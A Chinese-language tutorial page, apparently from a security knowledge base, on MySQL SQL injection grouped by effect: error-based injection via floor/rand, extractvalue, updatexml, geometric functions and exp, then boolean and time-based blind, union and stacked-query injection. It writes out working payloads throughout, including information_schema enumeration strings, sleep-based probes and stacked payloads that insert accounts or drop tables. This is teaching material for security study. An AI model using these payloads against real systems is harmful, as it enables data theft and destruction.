> For the complete documentation index, see [llms.txt](https://ninjia.gitbook.io/secskill/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ninjia.gitbook.io/secskill/web/sql/xiaoguo_sql.md).

# 1.1.3 按照效果注入利用

## 报错型注入

### floor型报错

1.rand()函数用来生成一个0\~1的随机数。

![](https://i.screenshot.net/xwgdntr)

2.floor()向下取整

![](https://i.screenshot.net/j8xm0s3)

所以rand()函数生成0\~1的任意数字，使用floor函数向下取整，值是固定的0， 如果是rand()\*2，向下取整后为0或1

3.concat()将符合条件的同一列中的不同行数据进行拼接，0x3a是":"的16进制

![](https://i.screenshot.net/y3dr9c1)

将前面的floor和rand结合起来

![](https://i.screenshot.net/970odhy)

我们再一次查询，information\_schema.tables有多少个表格，会显示多少列

![](https://i.screenshot.net/ngg6nsm)

使用group by依据我们想要的规矩对结果进行分组，并使用count()统计元素的个数

![](https://i.screenshot.net/p4451sp)

这时我们可以看到在报错信息里已经得到了我们的数据库名。

根据刚才的运行结果，发现不加随机因子，执行2次就会报错，我们加上随机因子

看一下结果

![](https://i.screenshot.net/rmmrds3)

多次执行发现每一次都会报错

注意：floor(rand(0)\*2)的报错是有条件的，记录数必须大于等于3条，3条以上必定报错

其实即使是随机数，也具有确定性与不确定性，可分别执行floor(rand()*2)与floor(rand(0)*&#x32;)不难发现其实在floor(rand()*2)的时候，得到的0、1是随机的而当执行floor(rand(0)*&#x32;)的时候得到的0、1却是不随机的，因为在执行count与group by时会新建一张虚拟表，当开始查询数据时，从数据库中取出数据，看在虚拟表中是否有同样的记录， 如果有，就在count(\*)字段+1，如果没有就直接插入新记录：

![](https://i.screenshot.net/1mm1vs5)

其实官方mysql给过提示，就是查询如果使用rand()的话，该值会被计算多次，也就是在使用group by 的时候，floor(rand(0)*2)会被执行一次，如果虚拟表中不存在记录，把数据插入虚拟表中时会再被执行一次。在0x03中我们发现floor(rand(0)*&#x32;)的值具有确定性，为01101100111011，报错实际上是floor(rand(0)*2)被多次计算所导致，具体看一下select count(*) from test group by floor(rand(0)\*2);

具体过程如下：

1.查询前会建立虚拟表

2.取第一条记录，执行floor(rand(0)*2)，发现结果为0(第一次计算)，查询虚拟表，发现0的键值不存在，则floor(rand(0)*&#x32;)会被再计算一遍，结果为1(第二次计算)，插入虚拟表，这时第一条记录查询完毕：

3.查询第二条记录，再次计算floor(rand(0)*2)，发现结果为1(第三次计算)，查询虚拟表，发现1的键值存在(上图)，所以floor(rand(0)*&#x32;)不会被计算第二次，直接count(\*)+1，第二条记录查询完毕：

4.查询第三条记录，再次计算floor(rand(0)*2)，发现结果为0(第四次计算)，查询虚拟表，发现0的键值不存在，则虚拟表尝试插入一条新的数据，在插入数据时floor(rand(0)*&#x32;)被再次计算，结果为1(第五次计算)，然而1这个主键已经存在于虚拟表中，而新计算的值也为1(应为主键键值必须唯一)，所以插入时直接报错了。

5.整个查询过程floor(rand(0)\*2)被计算了5次，查询了3次纪录，这就是为什么数据表中需要3条数据，这也就是使用该语句会报错的原因

而刚才所说的information\_schema这张数据表保存了MySQL服务器所有数据库的信息。如数据库名，数据库的表，表栏的数据类型与访问权限等。再简单点，这台MySQL服务器上，到底有哪些数 据库、各个数据库有哪些表，每张表的字段类型是什么，各个数据库要什么权限才能访问，等 等信息都保存在information\_schema表里面。

![](https://i.screenshot.net/1llojs6)

下面展示如何使用information\_schema来获取表名、列名、数据

获取所有数据库名：

> select schema\_name from information\_schema.schemata;

获取所有表名

> select table\_name from information\_schema.tables;

获取所有列名

> select column\_name from information\_schema.columns where table\_name='name';

爆具体字段的值

> select table\_name,table\_schema from information\_schema.tables group by table\_schema；
>
> select group\_concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()\*2))name;
>
> select count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*&#x32;))name from information\_schema.tables group by name;

具体效果请自行测试

这里以一个报错型注入为例实战演示下报错注入

php代码如下：

![](https://i.screenshot.net/wxj0txr)

构造报错语句如下：

```

    ' and (select 2 from (select count(*),concat(0x3a,0x3a,version(),0x3a,0x3a,floor(rand(0)*2))name from 
information_schema.tables group by name)b)%23

```

这里的单引号和#（%23是#的url编码形式）是为了闭合前后的单引号， 而

> select 2 from()b

则是因为进行group查询时我们会建立一个虚拟表，我们需要将报错信息在虚拟表中 查询出来，所以多做了一次select查询，而又因为在MySQL的多次查询中必须有一个 别名，所以有了b

最后效果如下：

![](https://i.screenshot.net/w745hxw)

所以，我们现在可以得到我们的floor报错注入的公式：

```

    and  (select 1 from (select count(*),concat(0x3a,0x3a,查询语句,0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)
```

这里要注意的是当爆表名或者列名的时候，需要使用limit语句，来返回需要查询的指定记录

用法：

> select \* from table limit m,n

limit是mysql的语法,不同的数据库有自己的提取语句，如top语句 select *from table limit m,n 其中m是指记录开始的index，从0开始，表示第一条记录 n是指从第m+1条开始，取n条。 select* from tablename limit 2,4 即取出第3条至第6条，4条记录

### extractvalue()报错注入

extractvalue() :对XML文档进行查询的函数

其实就是相当于我们熟悉的HTML文件中用 div、p、a标签查找元素一样

语法：extractvalue(目标xml文档，xml路径)

第二个参数 xml中的位置是可操作的地方，xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式，如果我们写入其他格式，就会报错，并且会返回我们写入的非法格式内容，而这个非法的内容就是我们想要查询的内容。

比如我们执行：

> select \* from user where id = 1000 and (extractvalue('ant','/xx/xx'));

![](https://i.screenshot.net/ykw26a5)

我们可以看到正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错

但是这样并不会报错，所以我们需要构造报错

使用concat()拼接语句，得到

> select \* from user where id = 1000 and (extractvalue(‘anything’,concat(‘\~’,(select database()))));

![](https://i.screenshot.net/yv51xtl)

可以看出，以\~开头的内容不是xml格式的语法，报错，但是会显示无法识别的内容是什么，这样就达到了目的。

有一点需要注意，extractvalue()能查询字符串的最大长度为32，就是说如果我们想要的结果超过32，就需要用substring()函数截取，一次查看32位

关于substring（）函数将会在后面进行讲解。

而剩下的基本就跟floor报错注入差不多了，构造查询语句就行了。

![](https://i.screenshot.net/yv51xtl)

### updatexml()报错注入

updatexml()函数与extractvalue()类似，是更新xml文档的函数。

语法updatexml(目标xml文档，xml路径，更新的内容)

同理在xml路径处构造查询语句与报错语句

![](https://i.screenshot.net/ymr49i3)

网站上如下

![](https://i.screenshot.net/y89eotp)

### 几何函数报错

mysql有些几何函数，例如geometrycollection()，multipoint()，polygon()，multipolygon()，linestring()，multilinestring()，这些函数对参数要求是形如(1 2,3 3,2 2 1)这样几何数据，如果不满足要求，则会报错。

因为这种报错的特殊性，所以这里只是给出payload，不在讨论其原理

#### GeometryCollection()

> id = 1 AND GeometryCollection((select *from (select* from(select user())a)b))

#### polygon()

> id =1 AND polygon((select *from(select* from(select user())a)b))

#### multipoint()

> id = 1 AND multipoint((select *from(select* from(select user())a)b))

#### multilinestring()

> id = 1 AND multilinestring((select *from(select* from(select user())a)b))

#### linestring()

> id = 1 AND LINESTRING((select *from(select* from(select user())a)b))

#### multipolygon()

> id =1 AND multipolygon((select *from(select* from(select user())a)b))

经测试，在版本号为5.5.47上可以用来注入，而在5.7.17上则不行：

### exp()报错注入

MySQL中数据类型

![](https://i.screenshot.net/194y1hv)

exp()报错注入主要也是利用了MySQL的整数溢出报错

注意：在mysql5.5之前，整形溢出是不会报错的，根据官方文档说明out-of-range-and-overflow，只有版本号大于5.5.5时，才会报错。

测试如下：

![](https://i.screenshot.net/1po1ybm)

在mysql中，要使用这么大的数，并不需要输入这么长的数字进去，使用按位取反运算运算即可：

![](https://i.screenshot.net/x6gx4cd)

我们知道，如果一个查询成功返回，则其返回值为0，进行逻辑非运算后可得1，这个值是可以进行数学运算的：

![](https://i.screenshot.net/xdy2gcn)

![](https://i.screenshot.net/x4k78fm)

exp函数的作用：

此函数返回e(自然对数的底)到X次方的值此函数返回e(自然对数的底)的X次方的值

如：

> mysql> select exp(709); +-----------------------+ | exp(709) | +-----------------------+ | 8.218407461554972e307 | +-----------------------+ 1 row in set (0.00 sec)
>
> mysql> select exp(710); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

注入姿势：

> mysql> select exp(\~(select\*from(select user())x));

5.5.47版本下的

> mysql> select (select(!x-\~0)from(select(select user())x)a);

大于5.5.53时则不能返回查询结果。

### 列名重复报错注入

mysql列名重复会报错，我们利用name\_const来制造一个列：

![](https://i.screenshot.net/xjzpos5)

根据官方文档，name\_const函数要求参数必须是常量，所以实际使用上还没找到什么比较好的利用方式。

### 总结：

这个...报错方式很多，组合利用就好，根据版本、长度选择合适的报错语法...

## 基于布尔的盲注

基于布尔 SQL 盲注----------构造逻辑判断

首先先来看个图片：

![](https://i.screenshot.net/drypvfg)

首先理解下length函数

> length()函数是返回参数的长度

在图片中我们可以到，在database()>5的时候没有返回任何的结果，而>4的时候返回了我们想要查询的结果集，那么这也就间接的说明了我们的数据库库名的长度为5，因为and必须双方皆为真时才返回结果，那么我们也就可以使用这种方式来猜测数据库库名的长度值了。

下面接着介绍几个在SQL布尔型注入中常用的几个函数：

> Substr（）截取字符串 Ascii（）返回字符的ascii码

而关于这两个函数的具体用法还请移步百度，这里不再详细说明,只给出两个函数的基本用法

substr：

![](https://i.screenshot.net/dvvw5he)

ascii:

![](https://i.screenshot.net/dmmv8tk)

当然还有这些：

> mid()函数 mid(striing,start,length) string(必需)规定要返回其中一部分的字符串。 start(必需)规定开始位置（起始值是 1）。 length(可选)要返回的字符数。如果省略，则 mid() 函数返回剩余文本。
>
> left()函数 left(string,length) string(必需)规定要返回其中一部分的字符串 length（可选）规定被返回字符串的前length长度的字符

其实到了这里之后，剩下的构造方式就不用我多说了，直接将sql注入语句变换成布尔值来判断即可 这里给出简单的一个payload：

> and ascii(substr((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),1,1))>60

其他的都还望自己前去构造

## 基于时间的盲注

即不能根据页面返回内容判断任何信息，用条件语句查看时间延迟语句是否执行（即页面返回时间是否增加）来判断。 页面不会返回错误信息，不会输出UNION注入所查出来的泄露的信息。类似搜索这类请求，boolean注入也无能为力，因为搜索返回空也属于正常的，这时就得采用time-based的注入了，即判断请求响应的时间，但该类型注入获取信息的速度非常慢。

接下来，学习基于时间型SQL盲注。

我们在这里使用IF（查询语句，1，sleep（5）），即如果我们的查询语句为真，那么直接返回结果；如果我们的查询语句为假，那么过5秒之后返回页面。所以我们就根据返回页面的时间长短来判断我们的查询语句是否执行正确，即我们的出发点就回到了之前的基于布尔的SQL盲注，也就是构造查询语句来判断结果是否为真。

![](https://i.screenshot.net/d1qd0t9)

剩下的就跟布尔型注入基本一样了，构造时间型的查询语句即可

同样给出一个payload：

> If(ascii(substr(database(),1,1))>115,0,sleep(5))

剩下的自行构造即可。

## 联合查询注入

这种注入就是支持union的注入，在数据库中union为连接两条SQL语句并执行。

如：

![](https://i.screenshot.net/dw907f3)

这种注入往往是最简单实用的，但前提是查询双方具有相同的列，所以一般先使用order by语句得到列名。

## 堆查询注入

原理介绍

在SQL中，分号（;）是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句，会不会一起执行？因此这个想法也就造就了堆叠注入。而union injection（联合注入）也是将两条语句合并在一起，两者之间有什么区别么？区别就在于union 或者union all执行的语句类型是有限的，可以用来执行查询语句，而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入：1; DELETE FROM products服务器端生成的sql语句为：（因未对输入的参数进行过滤）Select \* from products where productid=1;DELETE FROM products当执行查询后，第一条显示查询信息，第二条则将整个表进行删除。

因为没有太多的原理要说，所以给出几个常见的payload：

> ?id=1';insert into users (id,username,password) values(12,'jack','jacl')--+
>
> a';create table class like users#
>
> a');drop table class#
